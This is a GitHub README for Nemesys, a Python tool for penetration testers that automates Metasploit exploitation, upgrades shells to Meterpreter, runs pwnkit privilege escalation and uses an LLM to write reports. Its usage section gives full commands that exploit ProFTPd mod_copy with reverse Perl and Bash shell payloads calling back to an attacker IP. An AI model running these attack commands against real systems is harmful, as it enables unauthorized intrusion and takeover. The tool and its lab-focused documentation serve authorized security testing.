https://github.com/sergio11/nemesys
Nemesys is an ethical cybersecurity tool designed to automate exploitation and post-exploitation tasks using Metasploit. It enhances target attacks, privilege escalation, and system analysis while providing intelligent reporting through cloud-based large language models (LLMs). ππ
https://github.com/sergio11/nemesys
ai-security cybersecurity exploit-framework faiss faiss-cpu faiss-vector-database groq groq-api hacking-tools langchain metasploit penetration-testing post-exploitation privilege-escalation python security-analysis system-enumeration vulnerability-assessment vulnerability-detection
Last synced: 6 months ago
JSON representation
Nemesys is an ethical cybersecurity tool designed to automate exploitation and post-exploitation tasks using Metasploit. It enhances target attacks, privilege escalation, and system analysis while providing intelligent reporting through cloud-based large language models (LLMs). ππ
- Host: GitHub
- URL: https://github.com/sergio11/nemesys
- Owner: sergio11
- License: mit
- Created: 2016-03-19T17:45:00.000Z (over 9 years ago)
- Default Branch: master
- Last Pushed: 2025-03-19T17:30:38.000Z (7 months ago)
- Last Synced: 2025-03-19T18:33:46.874Z (7 months ago)
- Topics: ai-security, cybersecurity, exploit-framework, faiss, faiss-cpu, faiss-vector-database, groq, groq-api, hacking-tools, langchain, metasploit, penetration-testing, post-exploitation, privilege-escalation, python, security-analysis, system-enumeration, vulnerability-assessment, vulnerability-detection
- Language: Python
- Homepage: https://sanchezsanchezsergio418.medium.com/harnessing-generative-ai-for-post-exploitation-vulnerability-reporting-in-cybersecurity-a-5ba3e53958ec
- Size: 4.19 MB
- Stars: 10
- Watchers: 2
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
Awesome Lists containing this project
README
# π **Nemesys**: β‘ Critical Data Harvesting & π οΈ Post-Exploitation Tool π΅οΈββοΈ
**Nemesys** is an advanced exploitation and post-exploitation automation tool built on top of the Metasploit Framework. π οΈ Designed for penetration testers and security researchers, it streamlines the process of targeting, exploiting, and deeply enumerating vulnerable systems. With a sleek dark-themed interface and powerful automation, **Nemesys** simplifies complex exploitation workflows, providing full control and visibility over compromised systems. βοΈ
βοΈ **Nemesys** empowers professionals to improve their security posture by delivering comprehensive reports on vulnerabilities, insecure configurations, and potential risks, all generated automatically for enhanced efficiency and accuracy.
π I would like to express my sincere gratitude to [Santiago HernΓ‘ndez, a leading expert in Cybersecurity and Artificial Intelligence](https://www.udemy.com/user/shramos/). His outstanding course on **Cybersecurity and Ethical Hacking**, available on Udemy, was instrumental in the development of this project. The insights and techniques I gained from his course were invaluable in guiding my approach to cybersecurity practices. Thank you for sharing your knowledge and expertise!
### Testing Information π§ͺ
All tests and exploitation workflows in **Nemesys** were conducted in a controlled environment using **Metasploitable Ubuntu**, a deliberately vulnerable machine designed for security testing and training. This testing was carried out in a dedicated **lab environment** to ensure ethical use and avoid unauthorized access to any external systems. The results of these tests demonstrate the toolβs effectiveness in identifying and exploiting vulnerabilities in a controlled, safe, and legal environment.
![]()
![]()
![]()
![]()
## β οΈ Disclaimer
**Nemesys** has been developed **solely for educational and research purposes** as part of my learning process in **cybersecurity, pentesting, and post-exploitation automation**. This project was created to **practice the knowledge acquired during a cybersecurity course**, experiment with advanced techniques in a **controlled lab environment**, and add it to my **portfolio of cybersecurity projects**.
This tool is designed **exclusively for ethical hacking and authorized security assessments**. Its use **must be strictly limited to environments where explicit permission has been granted**, such as testing labs, cybersecurity training, or approved security audits.
**Unauthorized use of this tool on external systems is strictly prohibited** and may violate laws.
**I disclaim any responsibility for improper use of this tool.** **Always act within legal and ethical boundaries, and obtain proper authorization before conducting any security testing.**
All tests and exploitation workflows in **Nemesys** were conducted in a controlled environment using **Metasploitable Ubuntu**, a deliberately vulnerable machine designed for security testing and training. This testing was carried out in a dedicated **lab environment** to ensure ethical use and avoid unauthorized access to any external systems. The results of these tests demonstrate the toolβs effectiveness in identifying and exploiting vulnerabilities in a controlled, safe, and legal environment.
## More Details π
For comprehensive information about this project, check out this [Medium article](https://sanchezsanchezsergio418.medium.com/harnessing-generative-ai-for-post-exploitation-vulnerability-reporting-in-cybersecurity-a-5ba3e53958ec).
## π **Explore My Other Open-Source Ethical Hacking Tools**
If you're passionate about ethical hacking and want to elevate your cybersecurity toolkit, make sure to explore my suite of open-source projects. These tools are designed to empower penetration testers and cybersecurity professionals by streamlining complex tasks, enhancing security audits, and uncovering vulnerabilities with cutting-edge precision:
- [π¦ **NetHawk**](https://github.com/sergio11/nethawk_analyzer): A state-of-the-art **AI-powered ethical hacking tool** for **network vulnerability assessment**. Using advanced frameworks like **Scapy** and **Nmap**, NetHawk automates **port scanning**, **vulnerability detection**, and **report generation**, making security audits faster, smarter, and more efficient. Whether you're a **network administrator**, **cybersecurity expert**, or **ethical hacker**, NetHawk simplifies the assessment process and offers actionable insights to fortify your systems.
- [π **Nemesys**](https://github.com/sergio11/nemesys): An advanced **exploitation** and **post-exploitation** tool built on top of the **Metasploit Framework** for automating critical data harvesting and system enumeration.
- [π·οΈ **BlackVenom**](https://github.com/sergio11/blackvenom): The ultimate **ARP** and **DNS spoofing** tool for **intercepting network traffic** and uncovering vulnerabilities with stealth and precision.
- [π **ZeroTrace**](https://github.com/sergio11/zero_trace_hacking_tool): A powerful **search engine dorking** tool designed to identify **attack vectors** and uncover **exposed sensitive information** across the web.
- π **DecryptX**: An **advanced hash and password security assessment tool** that empowers you to analyze **password hashes**, **encrypted ZIP files**, and more. Ideal for evaluating the strength of encryption and identifying weaknesses in **security implementations**.
- [ π **EclipseRecon**](https://github.com/sergio11/eclipserecon): is a stealthy web reconnaissance tool for uncovering hidden vulnerabilities, subdomains, and site structures. π΅οΈββοΈπ It empowers security professionals to identify critical attack surfaces with precision, ensuring proactive defense. π¨π»
- [ π **ZoneGuardian**](https://github.com/sergio11/zoneguardian): A powerful tool to analyze DNS configurations, detect vulnerabilities, and generate actionable security reports. ππ Safeguard your digital assets with precision and ease!
- **Retrospect**: A cutting-edge **reconnaissance and security analysis tool** that retrieves and analyzes historical web snapshots, helping you uncover past vulnerabilities and misconfigurations before they can be exploited today. Ideal for **ethical hackers** and **digital forensics experts**.These tools are designed to streamline penetration testing, enhance security assessments, and provide in-depth insights into vulnerabilities. Explore them to level up your ethical hacking skills! π»π
## πβ¨ Key Features
- π **Automated Exploitation**: Execute Metasploit exploits effortlessly against target systems. Choose your desired exploit and payload, and let Nemesys automate the execution, session creation, and follow-up tasks.
- π‘οΈ **Privilege Escalation**: Gain elevated access by leveraging built-in Metasploit modules for privilege escalation, enabling root or administrative control over the target system.
- β¬οΈ **Session Upgrade to Meterpreter**: Automatically upgrades simple shell sessions to fully interactive Meterpreter sessions, unlocking additional post-exploitation capabilities such as file system browsing, keylogging, and pivoting.
- π» **Interactive Reverse Shell**: Establishes an interactive reverse shell with root or elevated privileges, enabling direct manual exploitation and in-depth system analysis.
- ποΈ **System Critical Harvesting**: Conducts comprehensive system enumeration and data harvesting, extracting key details such as OS version, kernel information, network configuration, active processes, and user permissions.
- π§ **Intelligent Reporting with LLMs**: Utilizes **LangChain** integrated with **Groq** for cloud-based LLM processing. Generates a detailed analysis of the target system, including insights on potential next steps, vulnerability assessment, and remediation recommendations.
- π€ **Integration with Metasploit RPC**: Direct connection to Metasploitβs RPC interface allows efficient management of active sessions, payloads, and exploit modules, optimizing the post-exploitation workflow.
- π οΈ **User-Friendly and Extensible**: Built with an intuitive interface for streamlined usage. Easily customizable to fit specific exploitation scenarios and to integrate with other tools in your security arsenal.## π§π» Requirements
- π **Python 3.8+**: Required for running the Nemesys scripts.
- π¦Ύ **Metasploit Framework**: Installed and configured for exploit execution.
- βοΈ **LangChain** and **Groq**: Access for cloud-based LLM processing with Groq's powerful AI model.
- π **Root or Admin Privileges**: Necessary for full functionality and executing privileged exploits.
- π§ **FAISS**: Set up for efficient similarity search and retrieval in the RAG (Retrieval-Augmented Generation) process.
- π€ **HuggingFaceEmbeddings**: Required for embedding documents and enhancing the RAG technique for optimal security analysis.
![]()
## π§π§© **Component Breakdown**: π Exploring the Building Blocks of Nemesys βοΈ
Nemesys is designed with a modular architecture, where each component has a distinct responsibility, making the exploitation and post-exploitation process efficient and streamlined. Below is a detailed overview of each core component:
### 1. **MetasploitClient** π΅οΈββοΈ
The **MetasploitClient** serves as the connection interface between Nemesys and the Metasploit RPC API.
- **Responsibilities**:
- Establishes and manages the connection to the Metasploit RPC server.
- Handles secure API requests with SSL support.
- Provides a client object used by other components for unified Metasploit interactions.- **Integration**:
- Initiated during the setup of Nemesys to validate connectivity.
- Essential for all interactions with Metasploit modules across components.
![]()
### 2. **ExploitManager** π₯
The **ExploitManager** handles the execution of exploits against target systems using Metasploit.
- **Responsibilities**:
- Executes chosen exploit modules with specified payloads.
- Configures options for both exploit and payload modules (e.g., `RHOSTS`, `LPORT`).
- Tracks exploit attempts using UUIDs for result monitoring.- **Integration**:
- Triggered by the `run_attack()` method to start the exploitation phase.
- Passes exploit UUIDs to the **SessionManager** for session tracking.### 3. **SessionManager** π
The **SessionManager** is in charge of managing sessions, including session upgrades and tracking active sessions.
- **Responsibilities**:
- Retrieves session IDs based on the exploit UUID returned by the **ExploitManager**.
- Upgrades standard shell sessions to Meterpreter sessions for enhanced capabilities.
- Lists and manages active sessions for efficient exploitation.- **Integration**:
- Central to the transition between the exploitation and post-exploitation phases.
- Handles session upgrades automatically and tracks session IDs.### 4. **PrivilegeEscalationManager** π
The **PrivilegeEscalationManager** focuses on elevating privileges after a session has been established.
- **Responsibilities**:
- Identifies suitable privilege escalation exploits based on system information.
- Executes privilege escalation modules (e.g., kernel exploits) to gain elevated access.
- Verifies the success of privilege escalation attempts.- **Integration**:
- Optionally invoked in the `run_attack()` method if a privilege escalation module is specified.
- Collaborates with the **SystemEnumerator** to determine potential escalation paths.### 5. **ShellInterface** π₯οΈ
The **ShellInterface** provides an interactive shell for direct command execution on compromised targets.
- **Responsibilities**:
- Opens an interactive shell session (Meterpreter or standard shell) for manual exploitation.
- Supports system command execution, script imports, and file transfers.
- Offers a user-friendly interface for further post-exploitation tasks.- **Integration**:
- Invoked at the end of the `run_attack()` process for hands-on interaction with the compromised system.
- Adjusts the shell type based on the session capabilities (e.g., upgraded Meterpreter session).
![]()
![]()
### 6. **SystemEnumerator** π
The **SystemEnumerator** is designed to gather extensive information about the compromised system for analysis.
![]()
- **Responsibilities**:
- Collects system details such as OS version, network interfaces, installed software, and running processes.
- Identifies potential vulnerabilities and misconfigurations using integrated tools like `searchsploit`.
- Generates initial system assessment reports, aiding in further exploitation decisions.- **Integration**:
- Called after session establishment and upgrade to provide critical system information.
- Supplies data to the **PrivilegeEscalationManager** for identifying privilege escalation opportunities.
- Capable of generating advanced reports using **LangChain** with LLM analysis through Groq Cloud.
![]()
![]()
### 7. **SecurityAnalyzer** π‘οΈ
The **SecurityAnalyzer** component is responsible for analyzing the system enumeration log and generating comprehensive security reports using advanced AI techniques.
- **Responsibilities**:
- **Log Analysis**: The **SecurityAnalyzer** processes system enumeration logs received from the **SystemEnumerator** or another log source.
- **Retrieval-Augmented Generation (RAG)**: Uses **FAISS** for document retrieval and **HuggingFaceEmbeddings** for embedding the logs, allowing the AI model to generate insights based on the retrieved information.
- **Report Generation**: Creates professional security reports summarizing vulnerabilities, misconfigurations, and providing actionable recommendations.
- **Format Generation**: Outputs reports in both **PDF** and **JSON** formats, making the insights accessible for both human review and further automation.- **Integration**:
- Invoked after the **SystemEnumerator** process to analyze the system log and generate security reports based on the collected data.
- Leverages the AI model in **LangChain** via **Groq Cloud** for processing and generating tailored security insights.
- Plays a crucial role in the final analysis phase by providing detailed and actionable recommendations for improving the security posture of the target system.
![]()
![]()
![]()
This modular structure ensures that each component performs its role effectively, contributing to a cohesive and efficient exploitation workflow in Nemesys.
## π§© Workflow Overview
The main exploitation process in Nemesys involves the following steps:
1. **Initialization**:
- Connects to Metasploit using **MetasploitClient** to establish a secure connection to the RPC server.2. **Exploitation**:
- Executes the chosen exploit and payload using **ExploitManager**.
- Retrieves the session ID via **SessionManager** to track exploit progress.3. **Session Management**:
- Upgrades the session for enhanced control (e.g., Meterpreter shell) using **SessionManager**.4. **Privilege Escalation** (Optional):
- Attempts privilege escalation using **PrivilegeEscalationManager** to gain higher-level access.5. **System Enumeration**:
- Gathers extensive system information (OS details, running services, vulnerabilities) using **SystemEnumerator**.
- The **SystemEnumerator** outputs logs with system data that can later be analyzed.6. **Security Analysis**:
- The generated system enumeration log is fed into the **SecurityAnalyzer**.
- **SecurityAnalyzer** uses advanced techniques (RAG with **FAISS** and **HuggingFaceEmbeddings**) to process the log and generate a detailed security report.7. **Interactive Shell**:
- Provides a hands-on interactive shell through **ShellInterface** for manual exploitation, based on the elevated session or analysis results.## Installation βοΈ
To use Nemesys, you'll need to have the necessary dependencies installed and be able to run the Python script from your terminal.Clone the repository to your machine:
```bash
git clone https://github.com/sergio11/nemesys.git
```Navigate to the directory:
```bash
cd nemesys
```
Install dependencies:```bash
pip install -r requirements.txt
```## Usage Examples π
Once everything is set up, you can invoke the **Nemesys** tool using the `nemesys_cli.py` script. Below are several examples of how to use it, along with explanations.
### 1. Basic Exploit Invocation π₯
This command runs an exploit with a specific payload and sets up reverse connections for the exploit to work.
```bash
sudo $HOME/Desktop/Nemesys-Kali/bin/python nemesys_cli.py \
--password "password" \
--exploit_name "unix/ftp/proftpd_modcopy_exec" \
--payload_name "cmd/unix/reverse_perl" \
--rhosts "192.168.11.128" \
--sitepath "/var/www/html" \
--lhost "192.168.11.129" \
--lport 4445 \
--privilege_exploit "linux/local/cve_2021_4034_pwnkit_lpe_pkexec" \
--target "192.168.11.128"
```#### Description π:
- `--password "password"`: The password used for authentication on the target system. π
- `--exploit_name "unix/ftp/proftpd_modcopy_exec"`: The specific exploit you want to run, targeting a vulnerability in ProFTPd. π‘
- `--payload_name "cmd/unix/reverse_perl"`: The payload that will execute after the exploit is successful (reverse shell using Perl). π₯οΈ
- `--rhosts "192.168.11.128"`: The target machine's IP address for the exploit. π―
- `--sitepath "/var/www/html"`: The path to the website directory (used in web-based exploits). π
- `--lhost "192.168.11.129"`: Your machine's IP address where the reverse shell will connect back. π
- `--lport 4445`: The local port on your machine that the reverse shell will connect to. βοΈ
- `--privilege_exploit "linux/local/cve_2021_4034_pwnkit_lpe_pkexec"`: A local privilege escalation exploit to gain root access on the target. π
- `--target "192.168.11.128"`: The IP address of the target machine to attack. π―
- `--log_file_path "path_to_log_file"`: The path to the system enumeration log file (default: `'system_enumeration.log'`). π
- `--pdf_path "path_to_pdf_report"`: The path to save the generated PDF report (default: `'nemesys_report.pdf'`). π
- `--json_path "path_to_json_report"`: The path to save the generated JSON report (default: `'nemesys_report.json'`). π
- `--verbose`: Enable verbose logging for detailed output (useful for troubleshooting and in-depth analysis). π#### Expected Outcome π:
Once you execute the command, **Nemesys** will attempt to exploit the ProFTPd vulnerability, trigger a reverse shell on your local machine, and then escalate privileges using the `pwnkit` local privilege escalation vulnerability.---
### 2. Using a Different Payload π¨
To use a different payload (e.g., `cmd/unix/reverse_bash`), simply modify the `--payload_name` parameter.
```bash
sudo $HOME/Desktop/Nemesys-Kali/bin/python nemesys_cli.py \
--password "password" \
--exploit_name "unix/ftp/proftpd_modcopy_exec" \
--payload_name "cmd/unix/reverse_bash" \
--rhosts "192.168.11.128" \
--sitepath "/var/www/html" \
--lhost "192.168.11.129" \
--lport 4445 \
--privilege_exploit "linux/local/cve_2021_4034_pwnkit_lpe_pkexec" \
--target "192.168.11.128"
```#### Change Explained π:
- `--payload_name "cmd/unix/reverse_bash"`: Swapping the payload to a Bash reverse shell. π₯---
### 3. Exploiting Without Privilege Escalation π
If you don't need to perform privilege escalation, simply omit the `--privilege_exploit` parameter.
```
sudo $HOME/Desktop/Nemesys-Kali/bin/python nemesys_cli.py \
--password "password" \
--exploit_name "unix/ftp/proftpd_modcopy_exec" \
--payload_name "cmd/unix/reverse_perl" \
--rhosts "192.168.11.128" \
--sitepath "/var/www/html" \
--lhost "192.168.11.129" \
--lport 4445 \
--target "192.168.11.128"
```#### What Happens? π
This command will perform the exploit and create a reverse shell without attempting to escalate privileges. It's useful when you only need a foothold without full system control. π₯### Important Notes
- Make sure to replace `your_groq_api_key_here` and `your_model_id_here` in your `.env` file with your actual API key and model ID.
- Ensure that the specified network range is appropriate for your nemesys setup.## β οΈ Disclaimer
**Nemesys** has been developed **solely for educational and research purposes** as part of my learning process in **cybersecurity, pentesting, and post-exploitation automation**. This project was created to **practice the knowledge acquired during a cybersecurity course**, experiment with advanced techniques in a **controlled lab environment**, and add it to my **portfolio of cybersecurity projects**.
This tool is designed **exclusively for ethical hacking and authorized security assessments**. Its use **must be strictly limited to environments where explicit permission has been granted**, such as testing labs, cybersecurity training, or approved security audits.
**Unauthorized use of this tool on external systems is strictly prohibited** and may violate laws.
**I disclaim any responsibility for improper use of this tool.** **Always act within legal and ethical boundaries, and obtain proper authorization before conducting any security testing.**
All tests and exploitation workflows in **Nemesys** were conducted in a controlled environment using **Metasploitable Ubuntu**, a deliberately vulnerable machine designed for security testing and training. This testing was carried out in a dedicated **lab environment** to ensure ethical use and avoid unauthorized access to any external systems. The results of these tests demonstrate the toolβs effectiveness in identifying and exploiting vulnerabilities in a controlled, safe, and legal environment.
## Acknowledgements π
π I would like to express my sincere gratitude to [Santiago HernΓ‘ndez, a leading expert in Cybersecurity and Artificial Intelligence](https://www.udemy.com/user/shramos/). His outstanding course on **Cybersecurity and Ethical Hacking**, available on Udemy, was instrumental in the development of this project. The insights and techniques I gained from his course were invaluable in guiding my approach to cybersecurity practices. Thank you for sharing your knowledge and expertise!
## π€ **Contributing**
Contributions to Nemesys are highly encouraged! If you're interested in adding new features, resolving bugs, or enhancing the project's functionality, please feel free to submit pull requests.## Get in Touch π¬
Nemesys is developed and maintained by **Sergio SΓ‘nchez SΓ‘nchez** (Dream Software). Special thanks to the open-source community and the contributors who have made this project possible. If you have any questions, feedback, or suggestions, feel free to reach out at [dreamsoftware92@gmail.com](mailto:dreamsoftware92@gmail.com).
## Visitors Count
![]()
## Please Share & Star the repository to keep me motivated.
![]()
## License βοΈ
This project is licensed under the MIT License, an open-source software license that allows developers to freely use, copy, modify, and distribute the software. π οΈ This includes use in both personal and commercial projects, with the only requirement being that the original copyright notice is retained. π
Please note the following limitations:
- The software is provided "as is", without any warranties, express or implied. π«π‘οΈ
- If you distribute the software, whether in original or modified form, you must include the original copyright notice and license. π
- The license allows for commercial use, but you cannot claim ownership over the software itself. π·οΈThe goal of this license is to maximize freedom for developers while maintaining recognition for the original creators.
```
MIT LicenseCopyright (c) 2024 Dream software - Sergio SΓ‘nchez
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```